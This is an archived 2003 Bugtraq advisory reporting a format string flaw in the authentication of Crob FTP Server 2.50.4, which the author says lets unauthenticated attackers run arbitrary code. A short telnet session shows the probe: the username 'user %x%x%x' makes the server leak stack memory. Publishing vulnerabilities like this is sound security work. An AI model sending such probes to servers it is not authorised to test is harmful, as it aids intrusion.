bugtraq - Format String Vulnerability in Crob Ftp Server

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20030602165510.27776.qmail@www.securityfocus.com>
Date: 2 Jun 2003 16:55:10 -0000
From: Luca Ercoli <luca.ercoli@...ind.it>
To: bugtraq@...urityfocus.com
Subject: Format String Vulnerability in Crob Ftp Server




Package:        Crob Ftp Server
Auth:		Crob Software Studio (www.crob.net/studio/ftpserver/)
Version: 	2.50.4 Build 228
Vulnerability:  Format String
Risk: 	        High


Vulnerability
Description:

A format string flaw in the authentication process allows remote attackers 
without valid user/pass to execute arbitrary code.


C:\>telnet 192.168.0.1 21

220- Crob FTP Server V2.50.4
220  Welcome to Crob FTP Server

user %x%x%x

331 Password required for 0d1250b70







Luca Ercoli luca.ercoli[at]inwind.it